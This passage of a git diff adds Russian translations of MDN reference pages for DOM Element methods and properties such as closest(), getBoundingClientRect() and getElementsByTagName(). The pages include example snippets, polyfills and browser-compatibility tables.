+    &lt;a href="#"&gt;Я ссылка в никуда&lt;/a&gt;
+    &lt;a href="http://site.ru"&gt;Я ссылка на сайт&lt;/a&gt;
+    &lt;div&gt;
+       &lt;div id="too"&gt;&lt;/div&gt;
+    &lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<p>Думаю, стоит рассмотреть несколько примеров:</p>
+
+<pre class="brush: js notranslate">var div = document.querySelector("#too"); //Это элемент от которого мы начнем поиск
+
+div.closest("#block"); //Результат - самый первый блок древа выше
+div.closest("div"); //Сам блок #too и будет результатом, так как он подходит под селектор "div"
+div.closest("a"); //null - В предках #too нет ни одного тега "a"!
+div.closest("div[title]") //#block - так как ближе нет блоков с атрибутом title.
+
+</pre>
+
+<h2 id="Полифилл_1_рекурсивный_метод">Полифилл #1 (рекурсивный метод)</h2>
+
+<p>Для браузеров не поддерживающих Element.closest(), но позволяющих использовать element.matches() (или префиксный эквивалент) есть полифилл:</p>
+
+<pre class="brush: js notranslate">(function(ELEMENT) {
+    ELEMENT.matches = ELEMENT.matches || ELEMENT.mozMatchesSelector || ELEMENT.msMatchesSelector || ELEMENT.oMatchesSelector || ELEMENT.webkitMatchesSelector;
+    ELEMENT.closest = ELEMENT.closest || function closest(selector) {
+        if (!this) return null;
+        if (this.matches(selector)) return this;
+        if (!this.parentElement) {return null}
+        else return this.parentElement.closest(selector)
+      };
+}(Element.prototype));</pre>
+
+<h2 id="Specification" name="Specification">Полифилл #2 (через цикл)</h2>
+
+<p>Тем не менее, если вам требуется поддержка IE 8, вы можете использовать следующий полифилл. Имейте ввиду - этот способ позволяет использовать CSS селекторы только уровня 2.1 и может жутко тормозить.</p>
+
+<pre class="brush: js notranslate">(function(e){
+ e.closest = e.closest || function(css){
+   var node = this;
+ <code class="language-javascript"><span class="keyword token">
+   while</span> <span class="punctuation token">(</span>node<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+<span class="keyword token">      if</span> <span class="punctuation token">(</span>node<span class="punctuation token">.</span><span class="function token">matches</span><span class="punctuation token">(</span>css<span class="punctuation token">)</span><span class="punctuation token">)</span> <span class="keyword token">return</span> node<span class="punctuation token">;</span>
+      <span class="keyword token">else</span> node <span class="operator token">=</span> node<span class="punctuation token">.</span>parentElement<span class="punctuation token">;</span>
+   <span class="punctuation token">}</span>
+<span class="keyword token">   return</span> <span class="keyword token">null</span><span class="punctuation token">;</span></code>
+ }
+})(Element.prototype);</pre>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-element-closest', 'Element.closest()')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>{{Compat("api.Element.closest")}}</div>
+
+<div>
+<h3 id="Заметки_совместимости">Заметки совместимости</h3>
+
+<ul>
+ <li>В Edge <code>document.createElement(tagName).closest(tagName)</code> возвращает <code>null</code>, если элемент ещё не привязан в DOM.</li>
+</ul>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li>Интерфейс {{domxref("Element")}}.</li>
+ <li>
+  <p><a href="https://developer.mozilla.org/ru/docs/Learn/CSS/Introduction_to_CSS/Selectors">Синтаксис селекторов</a></p>
+ </li>
+ <li>
+  <p>Другие методы, принимающие селекторы: {{domxref("element.querySelector()")}} и {{domxref("element.matches()")}}.</p>
+ </li>
+</ul>
+</div>
diff --git a/files/ru/web/api/element/createshadowroot/index.html b/files/ru/web/api/element/createshadowroot/index.html
new file mode 100644
index 0000000000..26c80f8497
--- /dev/null
+++ b/files/ru/web/api/element/createshadowroot/index.html
@@ -0,0 +1,91 @@
+---
+title: Element.createShadowRoot()
+slug: Web/API/Element/createShadowRoot
+translation_of: Web/API/Element/createShadowRoot
+---
+<p>{{draft}}</p>
+
+<p>{{deprecated_header()}}</p>
+
+<p>Используйте <code>Element.createShadowRoot</code> чтобы создать  экземпляр <a href="/en-US/docs/Web/Web_Components/Shadow_DOM">shadow DOM</a>. После создания shadow DOM, он всегда будет привязан к существующему элементу. После создания shadowDOM, элемент к которому он привязан будет называться Теневой корень (shadowRoot) {{glossary("shadow root")}}.</p>
+
+<div class="note">
+<p>This method has been deprecated in favor of <a href="https://developer.mozilla.org/en-US/docs/Web/API/Element/attachShadow">attachShadow</a>.</p>
+</div>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox">var <em>shadowroot =</em><em> element</em>.createShadowRoot();
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<p>Отсутствуют</p>
+
+<h3 id="Значение_результата">Значение результата</h3>
+
+<p>Возвращает {{domxref("ShadowRoot")}}.</p>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<p>Эта функция больше не определяется никакими спецификациями</p>
+
+<h2 id="Совместимость_браузеров">Совместимость браузеров</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(35.0)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>22</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div class="note">
+<p>В Chrome 45, возможность иметь несколько теневых корней устарела.</p>
+</div>
diff --git a/files/ru/web/api/element/currentstyle/index.html b/files/ru/web/api/element/currentstyle/index.html
new file mode 100644
index 0000000000..3df9fd524a
--- /dev/null
+++ b/files/ru/web/api/element/currentstyle/index.html
@@ -0,0 +1,52 @@
+---
+title: Element.currentStyle
+slug: Web/API/Element/currentStyle
+tags:
+  - API
+  - NeedsExample
+  - Non-standard
+  - Property
+translation_of: Web/API/Element/currentStyle
+---
+<p>{{Non-standard_header}}</p>
+
+<p class="summary"><span class="seoSummary"><strong><code>Element.currentStyle</code></strong> является собственностью, похожей на стандартизированную {{DOMxRef("window.getComputedStyle()")}} method.</span> Он доступен в старых версиях Microsoft Internet Explorer. Однако, он возвращает единицы, установленные в CSS в то время как <code>window.getComputedStyle()</code>возвращает значения в пикселях.</p>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<div class="note">
+<p>Эта polyfill возвращает значения в пикселях и, скорее всего, будет довольно медленным, так как оно должно называться {{domxref("window.getComputedStyle()")}} каждый раз, когда читается его значение.</p>
+</div>
+
+<pre class="brush: js">/* Любое авторское право посвящено Общественному достоянию.
+ * http://creativecommons.org/publicdomain/zero/1.0/ */
+
+if (!("currentStyle" in Element.prototype)) {
+  Object.defineProperty(Element.prototype, "currentStyle", {
+    get: function() {
+      return window.getComputedStyle(this);
+    }
+  });
+}
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<p>Не входит ни в какие спецификации.</p>
+
+<p>Microsoft <a href="https://web.archive.org/web/20150629144515/https://msdn.microsoft.com/en-us/library/ms535231(v=vs.85).aspx">had a description on MSDN</a>.</p>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">Совместимость с браузерами</h2>
+
+<div class="hidden">Таблица совместимости на этой странице составлена из структурированных данных. Если Вы хотите внести свой вклад в данные, пожалуйста, посетите https://github.com/mdn/browser-compat-data и отправьте нам запрос.</div>
+
+<p>{{Compat("api.Element.currentStyle")}}</p>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li>{{DOMxRef("Element.runtimeStyle")}}</li>
+ <li>{{DOMxRef("window.getComputedStyle()")}}</li>
+</ul>
+
+<div>{{APIRef("DOM")}}</div>
diff --git a/files/ru/web/api/element/getattribute/index.html b/files/ru/web/api/element/getattribute/index.html
new file mode 100644
index 0000000000..a60d2fcdcd
--- /dev/null
+++ b/files/ru/web/api/element/getattribute/index.html
@@ -0,0 +1,49 @@
+---
+title: Element.getAttribute()
+slug: Web/API/Element/getAttribute
+tags:
+  - API
+  - DOM
+  - Method
+  - метод
+translation_of: Web/API/Element/getAttribute
+---
+<p>{{ ApiRef("DOM") }}</p>
+
+<h2 id="Summary" name="Summary">Описание</h2>
+
+<p><code>getAttribute()</code> возвращает значение указанного атрибута элемента. Если элемент не содержит данный атрибут, могут быть возвращены <code>null</code> или <code>""</code> (пустая строка); подробнее {{ Anch("Notes") }}.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="eval"><em>var attribute</em> = element.getAttribute(<em>attributeName</em>);
+</pre>
+
+<p>где</p>
+
+<ul>
+ <li><code><em>attribute</em></code> - переменная, которой будет присвоено значение <code><em>attributeName</em></code>.</li>
+ <li><code><em>attributeName</em></code> - имя атрибута, значение которого необходимо получить.</li>
+</ul>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="eval">var div1 = document.getElementById("div1");
+var align = div1.getAttribute("align");
+alert(align); // отобразит значение атрибута align элемента с id="div1"
+</pre>
+
+<h2 id="Notes" name="Notes">Примечания</h2>
+
+<p>Когда метод <code>getAttribute</code> вызывается применительно к HTML-элементу, в DOM HTML-документа, значение аргумента приводится к нижнему регистру.</p>
+
+<p>В действительности все браузеры (Firefox, Internet Explorer, последние версии Opera, Safari, Konqueror, iCab и т.д.) возвращают <code>null</code>, когда выбранный элемент не содержит атрибута с переданным именем. Спецификация DOM определяет, что корректное возвращаемое значение в данном случае - <em>пустая строка</em> и некоторые реализации DOM придерживаются такого поведения. Реализация getAttribute в XUL (Gecko) в настоящее время следует спецификации и возвращает пустую строку. Следовательно, имеет смысл использовать <a href="/en/DOM/element.hasAttribute" title="en/DOM/element.hasAttribute">hasAttribute</a>, чтобы проверять наличие атрибутов перед вызовом <code>getAttribute()</code>, если может быть такое, что выбранный элемент не будет содержать искомого атрибута.</p>
+
+<p>{{ DOMAttributeMethods() }}</p>
+
+<h2 id="Specification" name="Specification">Спецификации</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-666EE0F9">DOM Level 2 Core: getAttribute</a> (представлено в <a class="external" href="http://www.w3.org/TR/REC-DOM-Level-1/level-one-core.html#method-getAttribute">DOM Level 1 Core</a>)</li>
+ <li><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/multipage/dom.html#apis-in-html-documents">HTML 5: APIs in HTML documents</a></li>
+</ul>
diff --git a/files/ru/web/api/element/getboundingclientrect/index.html b/files/ru/web/api/element/getboundingclientrect/index.html
new file mode 100644
index 0000000000..2a53575049
--- /dev/null
+++ b/files/ru/web/api/element/getboundingclientrect/index.html
@@ -0,0 +1,102 @@
+---
+title: Element.getBoundingClientRect()
+slug: Web/API/Element/getBoundingClientRect
+tags:
+  - API
+  - DOM
+  - JavaScript
+  - getBoundingClientRect
+  - Позиция
+  - Прямоугольник
+  - Самый маленький
+  - Справка
+  - Элемент
+  - метод
+translation_of: Web/API/Element/getBoundingClientRect
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>Метод <code><strong>Element.getBoundingClientRect()</strong></code> возвращает размер элемента и его позицию относительно viewport (часть страницы, показанная на экране, и которую мы видим).</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>domRect</em> = <em>element</em>.getBoundingClientRect();</pre>
+
+<h3 id="Returns" name="Returns">Возвращаемое значение</h3>
+
+<p>Данный метод возвращает объект {{domxref("DOMRect")}}, который является объединением прямоугольников, возвращаемых методом {{domxref("Element.getClientRects", "getClientRects()")}}  для данного элемента, т. е. CSS border-boxes (css-коробок в рамках), связанных с этим элементом. Результатом является самый маленький прямоугольник, в котором содержится весь элемент с read-only <code>left</code>, <code>top</code>, <code>right</code>, <code>bottom</code>, <code>x</code>, <code>y</code>, <code>width</code> и <code>height</code> свойствами, описывающие это в пикселях. Все свойства, кроме <code>width</code> и <code>height</code>, являются относительными к верхнему левому углу viewport-а.</p>
+
+<p style="display: block;"><img alt="Explanation of DOMRect values" src="https://mdn.mozillademos.org/files/15087/rect.png" style="float: right; height: 300px; width: 300px;" title="Explanation of DOMRect values"></p>
+
+<p>Пустые border-box полностью игнорируются. Если border-box элемента пуст, прямоугольник возвращается с нулевыми <code>width</code> и <code>height</code>, а <code>top</code> и <code>left</code> берутся у следующего CSS элемента (в порядке контента).</p>
+
+<p>После каждого скролла значения <code>left</code>, <code>top</code>, <code>right</code> и <code>bottom</code> изменяются, так как эти значения относительны к viewport и не абсолютные.</p>
+
+<p>Если вам нужны значения, описывающие прямоугольник относительно к верхнему левому углу документа, просто добавьте к свойствам <code>top</code> и <code>left</code> текущую позицию прокрутки, используя {{domxref("window.scrollX")}} и {{domxref("window.scrollY")}}), чтобы получить прямоугольник, положение которого не зависит от текущей позиции прокрутки.</p>
+
+<h3 id="Про_кроссбраузерность">Про кроссбраузерность</h3>
+
+<p>Скрипты, требующих высокую кроссбраузерность, могут использовать {{domxref("window.pageXOffset")}} и {{domxref("window.pageYOffset")}} вместо <code>window.scrollX</code> and <code>window.scrollY</code>. Скрипты без доступа к этим свойствам могут использовать код, наподобие этого:</p>
+
+<pre class="brush: js"><code>// Для scrollX
+(((t = document.documentElement) || (t = document.body.parentNode))
+  &amp;&amp; typeof t.scrollLeft == 'number' ? t : document.body).scrollLeft
+// Для scrollY
+(((t = document.documentElement) || (t = document.body.parentNode))
+  &amp;&amp; typeof t.scrollTop == 'number' ? t : document.body).scrollTop</code></pre>
+
+<h2 id="Пример"><span style='font-family: x-locale-heading-primary,zillaslab,Palatino,"Palatino Linotype",x-locale-heading-secondary,serif; font-size: 2.33333rem; letter-spacing: -0.00278rem;'>Пример</span></h2>
+
+<pre class="brush: js"><code>// rect - DOMRect объект с 8-ми свойствами: left, top, right, bottom, x, y, width, height
+var rect = obj.getBoundingClientRect();</code></pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSSOM View", "#dom-element-getboundingclientrect", "Element.getBoundingClientRect()")}}</td>
+   <td>{{Spec2("CSSOM View")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Notes" name="Notes">Примечания</h3>
+
+<p>Возвращаемый <code>DOMRect</code> объект может быть модифицирован в современных браузерах. Это не так со старыми версиями, которые возвращали <code>DOMRectReadOnly</code>. У IE и Edge, не имея возможности добавить пропущенные свойства к возращаемым ими <a href="https://msdn.microsoft.com/en-us/library/hh826029(VS.85).aspx"><code>ClientRect</code></a>, объект не позволял добавить <code>x</code> и <code>y</code>.</p>
+
+<p>Для кроссбраузерности надежно использовать только <code>left</code>, <code>top</code>, <code>right</code>, и <code>bottom</code>.</p>
+
+<p>Свойства у <code>DOMRect</code> не являются собственными. <code>in</code> оператор и <code>for...in</code> найдут возвращенные значение, но другие APIs, <code>Object.keys()</code>, — нет. А еще <code>Object.assign()</code> и spread оператор не копируют их.</p>
+
+<pre><code>rect = elt.getBoundingClientRect()
+// emptyObj всегда {}
+emptyObj = Object.assign({}, rect)
+emptyObj = { ...rect }
+{width, ...emptyObj} = rect</code></pre>
+
+<p><code>DOMRect</code> свойства <code>top</code>, <code>left</code>, <code>right</code> и <code>bottom</code> вычисляются, используя значения других свойств объекта.</p>
+
+<h2 id="Браузерная_совместимость">Браузерная совместимость</h2>
+
+<div>
+<p>{{Compat("api.Element.getBoundingClientRect")}}</p>
+</div>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li>{{domxref("Element.getClientRects", "getClientRects()")}}</li>
+ <li><a href="https://msdn.microsoft.com/en-us/library/ms536433(VS.85).aspx">MSDN: <code>getBoundingClientRect</code></a></li>
+ <li><a href="https://msdn.microsoft.com/en-us/library/hh826029(VS.85).aspx">MSDN: <code>ClientRect</code></a>, более ранняя версия <code>DOMRect</code></li>
+ <li></li>
+ <li>{{DOMxRef("Element.getClientRects()")}}</li>
+</ul>
diff --git a/files/ru/web/api/element/getelementsbyclassname/index.html b/files/ru/web/api/element/getelementsbyclassname/index.html
new file mode 100644
index 0000000000..08cacea20e
--- /dev/null
+++ b/files/ru/web/api/element/getelementsbyclassname/index.html
@@ -0,0 +1,117 @@
+---
+title: Element.getElementsByClassName()
+slug: Web/API/Element/getElementsByClassName
+tags:
+  - API
+  - Класс
+  - Коллекция
+  - Элемент
+translation_of: Web/API/Element/getElementsByClassName
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p><strong><code>Element.getElementsByClassName()</code></strong> метод возвращает объект {{domxref("HTMLCollection")}}, содержащий в себе все дочерние элементы, которые имеют заданные имена классов. Если вызван на объекте document, будут возвращены все элементы, содержащиеся в документе.</p>
+
+<p>Так же, как метод {{domxref("Document.getElementsByClassName", "Document.getElementsByClassName()")}} действует на весь документ; это вернет элементы, которые являются потомками корневого элемента, содержащие в себе указанные классы.</p>
+
+<p>Syntax</p>
+
+<pre class="syntaxbox"><var>var <em>elements</em></var> = <em>element</em>.getElementsByClassName(<em>names</em>);</pre>
+
+<ul>
+ <li><em><var>elements</var></em> — {{ domxref("HTMLCollection") }} содержащий найденные элементы</li>
+ <li><em><var>names</var></em> — строка, содержащая в себе имена классов; имена разделяются пробелами</li>
+ <li><em>element</em> — любой {{domxref("Element")}} в документе (в котором осуществляется выборка)</li>
+</ul>
+
+<h2 id="Examples">Examples</h2>
+
+<p>Получить все элементы с классом test:</p>
+
+<pre class="brush: js">element.getElementsByClassName('test');</pre>
+
+<p>Получить все элементы с классами test и red:</p>
+
+<pre class="brush: js">element.getElementsByClassName('red test');</pre>
+
+<p>Получить все элементы с классом test, которые находятся в элементе с id main:</p>
+
+<pre class="brush: js">document.getElementById('main').getElementsByClassName('test');</pre>
+
+<p>Мы так же можем использовать все методы из {{jsxref("Array.prototype")}} на любом  {{ domxref("HTMLCollection") }} путем передачи <code><var>HTMLCollection</var></code> в метод как значение <var>this</var>. Так мы найдем все {{HTMLElement("div")}} элементы, которые имеют класс test:</p>
+
+<pre class="brush: js">var testElements = document.getElementsByClassName('test');
+var testDivs = Array.prototype.filter.call(testElements, function(testElement){
+    return testElement.nodeName === 'div';
+});</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-element-getelementsbyclassname', 'Element.getElementsByClassName()')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }} [1]</td>
+   <td>9</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }} [2]</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }} [1]</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Prior to Firefox 19, this method was returning a {{domxref("NodeList")}}; it was then changed to reflects the change in the spec.</p>
+
+<p>[2] Safari on iOS 8 and OS X 10.10 returns a {{domxref("NodeList")}}.</p>
diff --git a/files/ru/web/api/element/getelementsbytagname/index.html b/files/ru/web/api/element/getelementsbytagname/index.html
new file mode 100644
index 0000000000..dc9dc4fbc7
--- /dev/null
+++ b/files/ru/web/api/element/getelementsbytagname/index.html
@@ -0,0 +1,134 @@
+---
+title: Element.getElementsByTagName()
+slug: Web/API/Element/getElementsByTagName
+translation_of: Web/API/Element/getElementsByTagName
+---
+<p>{{ APIRef("DOM") }}</p>
+
+<p><code><strong>Element.getElementsByTagName()</strong></code> метод возвращает живую коллекцию элементов {{domxref("HTMLCollection")}} , учитывая <a href="/en/DOM/element.tagName" title="en/DOM/element.tagName">имя тэга</a>. Поиск осуществляется в поддереве указанного элемента, в результат поиска не попадает сам элемент, в поддереве которого осуществлялся поиск. Возвращает живой список, который автоматически обновляется при изменении DOM. Поэтому не нужно вызывать метод <code>Element.getElementsByTagName()</code> несколько раз с одними и теми же аргументами, содержимое списка обновляется автоматически.</p>
+
+<p>При вызове на HTML-элементе в HTML-документе метод  <code>getElementsByTagName</code> переводит аргумент по которому осуществляется поиск (имя тега) в нижний регистр до того как начать поиск. Это нежелательно, когда необходимо использовать метод для поиска SVG элементов, где в наименовании тега может использоваться верблюжья (camel-cased) нотация. В этом случае правильно использовать метод {{ domxref("Element.getElementsByTagNameNS()") }}.</p>
+
+<p><code>Element.getElementsByTagName</code> похож на {{domxref("Document.getElementsByTagName()")}}, за исключением того, что поиск осуществляется среди потомков конкретного элемента, а не во всём HTML-документе. </p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><code><em>elements</em> = <em>element</em>.getElementsByTagName(<em>tagName</em>)</code></pre>
+
+<ul>
+ <li><code>elements</code> это живая коллекция {{domxref("HTMLCollection")}} найденных элементов в том порядке, в котором они были найдены в дереве. Если не найдено ни одного эелемента, удовлетворяющего условиям поиска, то коллекция будет пустой.</li>
+ <li><code>element</code> это элемент в котором будет осуществляться поиск. Обратите внимание, что поиск будет осуществляться только в потомках этого элемента. Сам элемент не будет включен в результат поиска. </li>
+ <li><code>tagName</code> определяет имя тега для поиска. Если значением tagName будет <code>"*", то в результате будут получены все потомки элемента по которому осуществляется поиск</code>. Для совместимости с XHTML следует использовать нижний регистр в имени тега. </li>
+</ul>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js">// check the alignment on a number of cells in a table.
+var table = document.getElementById("forecast-table");
+var cells = table.getElementsByTagName("td");
+for (var i = 0; i &lt; cells.length; i++) {
+    var status = cells[i].getAttribute("data-status");
+    if ( status == "open" ) {
+        // grab the data
+    }
+}
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-element-getelementsbytagname', 'Element.getElementsByTagName()')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Changed the return value from {{domxref("NodeList")}} to {{domxref("HTMLCollection")}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core', 'core.html#ID-1938918D', 'Element.getElementsByTagName()')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>No change from {{SpecName('DOM2 Core')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core', 'core.html#ID-1938918D', 'Element.getElementsByTagName()')}}</td>
+   <td>{{Spec2('DOM2 Core')}}</td>
+   <td>No change from {{SpecName('DOM1')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-core.html#ID-1938918D', 'Element.getElementsByTagName()')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_браузеров">Совместимость браузеров</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0 [2]</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatVersionUnknown() }} [1]</td>
+   <td>5.5</td>
+   <td>{{ CompatVersionUnknown() }} [2]</td>
+   <td>{{ CompatVersionUnknown() }} [2]</td>
+  </tr>
+  <tr>
+   <td>getElementsByTagName("*")</td>
+   <td>1.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>6.0</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatVersionUnknown() }} [1]</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] До Firefox 19 этот метод возвращал {{domxref("NodeList")}}; и был затем изменен, чтобы соответстовать спецификации.</p>
+
+<p>[2] Первоначально этот метод возвращал {{domxref("NodeList")}}; и был затем изменен, чтобы соответстовать спецификации.</p>
diff --git a/files/ru/web/api/element/hasattribute/index.html b/files/ru/web/api/element/hasattribute/index.html
new file mode 100644
index 0000000000..12983eff93
--- /dev/null
+++ b/files/ru/web/api/element/hasattribute/index.html
@@ -0,0 +1,114 @@
+---
+title: Element.hasAttribute()
+slug: Web/API/Element/hasAttribute
+tags:
+  - ОМД
+  - Элемент
+  - метод
+translation_of: Web/API/Element/hasAttribute
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><strong><code>Element.hasAttribute()</code></strong> метод возвращает {{Glossary("Boolean")}} значение указывающее, имеет ли указанный элемент указанный атрибут или нет.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><var>var <em>result</em></var> = <em><var>element</var></em>.hasAttribute(<em><var>attName</var></em>);
+</pre>
+
+<ul>
+ <li><code>Переменная result</code> хранит возвращенное значение <code>true</code> или <code>false</code>.</li>
+ <li><code>attName</code> это  {{Glossary("String")}} представляющая имя атрибута.</li>
+</ul>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush:js">// проверка, существует ли атрибут, перед тем как задать значение
+var d = document.getElementById("div1");
+
+if (d.hasAttribute("align")) {
+  d.setAttribute("align", "center");
+}</pre>
+
+<h2 id="Замечания">Замечания</h2>
+
+<div>{{DOMAttributeMethods}}</div>
+
+<div> </div>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-element-hasattribute', 'Element.hasAttribute()')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>С {{SpecName('DOM3 Core')}}, перемещено с {{domxref("Node")}} к {{domxref("Element")}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core', 'core.html#ID-NodeHasAttrs', 'Element.hasAttribute()')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>Нет изменений с {{SpecName('DOM2 Core')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core', 'core.html#ID-NodeHasAttrs', 'Element.hasAttribute()')}}</td>
+   <td>{{Spec2('DOM2 Core')}}</td>
+   <td>Исходное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
